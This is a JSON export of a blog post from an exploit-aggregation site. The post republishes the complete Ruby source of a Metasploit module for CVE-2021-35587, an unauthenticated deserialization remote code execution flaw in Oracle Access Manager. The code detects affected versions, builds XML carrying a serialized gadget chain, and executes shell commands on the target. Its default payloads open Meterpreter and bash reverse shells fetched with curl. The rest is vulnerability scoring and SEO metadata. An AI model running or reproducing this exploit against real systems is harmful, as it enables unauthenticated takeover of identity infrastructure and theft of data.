{"id":15129,"date":"2025-08-29T15:37:50","date_gmt":"2025-08-29T15:37:50","guid":{"rendered":"http:\/\/localhost\/?p=15129"},"modified":"2025-08-29T15:37:50","modified_gmt":"2025-08-29T15:37:50","slug":"oracle-access-manager-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15129","title":{"rendered":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:33&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO           Agent component of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:15&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Oracle Access Manager unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-2883&#8243;,&#8221;CVE-2021-35587&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Oracle Access Manager unauthenticated Remote Code Execution&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO\\n          Agent component of the Oracle Access Manager (OAM) product. The affected product versions are 11.1.2.3.0,\\n          12.2.1.3.0, and 12.2.1.4.0.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Jang&#8217;, # Original finder and technical analysis of CVE-2021-35587 (https:\/\/x.com\/testanull)\\n          &#8216;Peterjson&#8217;, # Original finder of CVE-2021-35587\\n          &#8216;Y4er&#8217;, # This exploit uses a modified gadget chain from an exploit by Y4er (https:\/\/x.com\/Y4er_ChaBug)\\n          &#8216;sfewer-r7&#8217; # Metasploit module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2021-35587&#8217;],\\n          # Original Analysis of the vulnerability by the original finders, Jang \\u0026 Peterjson.\\n          [&#8216;URL&#8217;, &#8216;https:\/\/testbnull.medium.com\/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316&#8217;],\\n          # Jang describes how to get a gadget chain working.\\n          [&#8216;URL&#8217;, &#8216;https:\/\/twitter.com\/testanull\/status\/1502114473989279744&#8217;],\\n          # This exploit uses a modified gadget chain from CVE-2020-2883, by Y4er.\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Y4er\/CVE-2020-2883\/blob\/master\/CVE_2020_2883.java&#8217;],\\n          # CVE-2021-35587 was patched by Oracle in Jan 2022.\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.oracle.com\/security-alerts\/cpujan2022.html&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2022-01-19&#8217;,\\n        &#8216;Platform&#8217; =\\u003e [ &#8216;linux&#8217;, &#8216;unix&#8217;, &#8216;win&#8217; ],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Privileged&#8217; =\\u003e false, # On Linux, executes as the user &#8216;oracle&#8217;.\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Linux Command&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e [ &#8216;linux&#8217;, &#8216;unix&#8217; ],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/linux\/https\/x64\/meterpreter_reverse_tcp&#8217;,\\n                # A writable directory on the target for fetch based payloads to write to.\\n                &#8216;FETCH_WRITABLE_DIR&#8217; =\\u003e &#8216;\/tmp&#8217;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/windows\/https\/x64\/meterpreter_reverse_tcp&#8217;,\\n                # A writable directory on the target for fetch based payloads to write to.\\n                &#8216;FETCH_WRITABLE_DIR&#8217; =\\u003e &#8216;%TEMP%&#8217;\\n              }\\n            }\\n          ],\\n          # OAM can run on HP-UX, IBM AIX, and Solaris, so we have a separate Unix target for these.\\n          [\\n            &#8216;Unix Command&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217;\\n              }\\n            }\\n          ],\\n        ],\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 14100,\\n          &#8216;SSL&#8217; =\\u003e false,\\n          &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;CURL&#8217;,\\n          # Delete the fetch binary after execution.\\n          &#8216;FETCH_DELETE&#8217; =\\u003e true\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        # By default, Oracle Access Manager is deployed on WebLogic under the path \/oam\/\\n        OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base path to the OAM application&#8217;, &#8216;\/oam\/&#8217;])\\n      ]\\n    )\\n  end\\n\\n  def check\\n    detected_version = get_version\\n\\n    if detected_version\\n      detected_description = \\&#8221;Oracle Access Manager #{detected_version}.\\&#8221;\\n\\n      # According to Oracle, these 3 versions are affected.\\n      affected_versions = [\\n        &#8216;11.1.2.3.0&#8217;,\\n        &#8216;12.2.1.3.0&#8217;,\\n        &#8216;12.2.1.4.0&#8217;\\n      ]\\n\\n      affected_versions.each do |affected_version|\\n        return CheckCode::Appears(detected_description) if detected_version == Rex::Version.new(affected_version)\\n      end\\n\\n      return CheckCode::Safe(detected_description)\\n    end\\n\\n    # By here we think the target is OAM, but we did not get a version number from the response body, so\\n    # we cannot do a version based check to determine if vulnerable or safe.\\n    CheckCode::Detected\\n  rescue Msf::Exploit::Failed =\\u003e e\\n    return Exploit::CheckCode::Unknown(e.message)\\n  end\\n\\n  def exploit\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;server&#8217;, &#8216;opensso&#8217;, &#8216;sessionservice&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;text\/xml&#8217;,\\n      &#8216;data&#8217; =\\u003e get_xml\\n    )\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Connection failed&#8217;) unless res\\n\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Received unexpected HTTP status code: #{res.code}.\\&#8221;) unless res.code == 200\\n  end\\n\\n  def get_xml\\n    gadget_b64 = Base64.strict_encode64(get_gadget)\\n\\n    requester_b64 = Base64.strict_encode64(\\&#8221;object:#{gadget_b64}\\&#8221;)\\n\\n    attr_authidentifier = {\\n      &#8216;reqid&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(8..32),\\n      &#8216;requester&#8217; =\\u003e requester_b64\\n    }.to_a.shuffle.to_h\\n\\n    builder_authidentifier = Nokogiri::XML::Builder.new do |xml|\\n      xml.authIdentifier(attr_authidentifier) do |xml_authidentifier|\\n        xml_authidentifier.SessionID Rex::Text.rand_text_alphanumeric(8..32)\\n      end\\n    end\\n\\n    attr_requestset = {\\n      &#8216;svcid&#8217; =\\u003e &#8216;session&#8217;,\\n      &#8216;reqid&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(8..32),\\n      &#8216;vers&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(8..32)\\n    }.to_a.shuffle.to_h\\n\\n    attr_request = {\\n      &#8216;dtdid&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(8..32),\\n      &#8216;sid&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(8..32)\\n    }.to_a.shuffle.to_h\\n\\n    builder_root = Nokogiri::XML::Builder.new(encoding: &#8216;UTF-8&#8217;) do |xml|\\n      xml.RequestSet(attr_requestset) do |xml_requestset|\\n        xml_requestset.Request(attr_request) do |xml_request|\\n          xml_request.cdata(builder_authidentifier.to_xml)\\n        end\\n      end\\n    end\\n\\n    xml_data = builder_root.to_xml\\n\\n    vprint_status(&#8216;Using XML:&#8217;)\\n    vprint_line(xml_data)\\n\\n    xml_data\\n  end\\n\\n  def get_gadget\\n    detected_version = get_version\\n\\n    gadget_file = nil\\n\\n    case detected_version\\n    when Rex::Version.new(&#8216;12.2.1.4.0&#8217;)\\n      gadget_file = &#8216;gadget_12.2.1.4.0.bin&#8217;\\n    when Rex::Version.new(&#8216;12.2.1.3.0&#8217;)\\n      gadget_file = &#8216;gadget_12.2.1.3.0.bin&#8217;\\n    else\\n      fail_with(Failure::NoTarget, \\&#8221;No suitable gadget chain for this version: #{detected_version}.\\&#8221;)\\n    end\\n\\n    # See .\/data\/exploits\/CVE-2021-35587\/gadget.java for how we generate the gadget bin files.\\n    gadget_data = ::File.binread(::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2021-35587&#8217;, gadget_file))\\n\\n    shell_name = nil\\n    shell_arg = nil\\n\\n    if (target.platform.platforms \\u0026 [Msf::Module::Platform::Linux, Msf::Module::Platform::Unix]).any?\\n      shell_name = &#8216;\/bin\/sh&#8217;\\n      shell_arg = &#8216;-c&#8217;\\n    elsif target.platform.platforms.include? Msf::Module::Platform::Windows\\n      shell_name = &#8216;cmd.exe&#8217;\\n      shell_arg = &#8216;\/C&#8217;\\n    else\\n      fail_with(Failure::BadConfig, \\&#8221;No gadget shell support for target #{target[&#8216;Platform&#8217;]}.\\&#8221;)\\n    end\\n\\n    {\\n      &#8216;EXEC_ARG0&#8217; =\\u003e shell_name,\\n      &#8216;EXEC_ARG1&#8217; =\\u003e shell_arg,\\n      &#8216;EXEC_ARG2&#8217; =\\u003e payload.encoded\\n    }.each do |key, value|\\n      gadget_data.gsub!(\\n        [key.length].pack(&#8216;n&#8217;) + key,\\n        [value.length].pack(&#8216;n&#8217;) + value\\n      )\\n    end\\n\\n    vprint_status(\\&#8221;Using gadget (#{gadget_file}):\\&#8221;)\\n    vprint_line(Rex::Text.to_hex_dump(gadget_data))\\n\\n    gadget_data\\n  end\\n\\n  def get_version\\n    # This unauthenticated endpoint will conveniently report the OAM product version number.\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;pages&#8217;, &#8216;impconsent.jsp&#8217;)\\n    )\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Connection failed&#8217;) unless res\\n\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Received unexpected HTTP status code: #{res.code}.\\&#8221;) unless res.code == 200\\n\\n    # We expect a response to have one or both of these HTTP headers.\\n    unless res.headers.key?(&#8216;X-ORACLE-DMS-RID&#8217;) || res.headers.key?(&#8216;X-ORACLE-DMS-ECID&#8217;)\\n      fail_with(Failure::UnexpectedReply, &#8216;No X-ORACLE-DMS-RID or X-ORACLE-DMS-ECID HTTP header seen&#8217;)\\n    end\\n\\n    unless res.body =~ \/Oracle Access Management Version: (\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/\\n      fail_with(Failure::UnexpectedReply, &#8216;Unable to determine target version&#8217;)\\n    end\\n\\n    Rex::Version.new(Regexp.last_match(1))\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/oracle_access_manager_rce_cve_2021_35587.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:9.8,&#8221;baseSeverity&#8221;:&#8221;CRITICAL&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;NONE&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/oracle_access_manager_rce_cve_2021_35587\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:33&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO Agent component of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:15&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Oracle Access Manager unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-2883&#8243;,&#8221;CVE-2021-35587&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-15129","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15129\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:33&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO Agent component of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:15&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Oracle Access Manager unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-2883&#8243;,&#8221;CVE-2021-35587&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15129\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:37:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-\",\"datePublished\":\"2025-08-29T15:37:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129\"},\"wordCount\":1526,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15129#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129\",\"name\":\"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:37:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15129\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15129#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15129","og_locale":"en_US","og_type":"article","og_title":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:33&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO Agent component of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:15&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Oracle Access Manager unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-2883&#8243;,&#8221;CVE-2021-35587&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires...","og_url":"https:\/\/zero.redgem.net\/?p=15129","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:37:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15129#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15129"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-","datePublished":"2025-08-29T15:37:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15129"},"wordCount":1526,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15129#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15129","url":"https:\/\/zero.redgem.net\/?p=15129","name":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:37:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15129#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15129"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15129#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 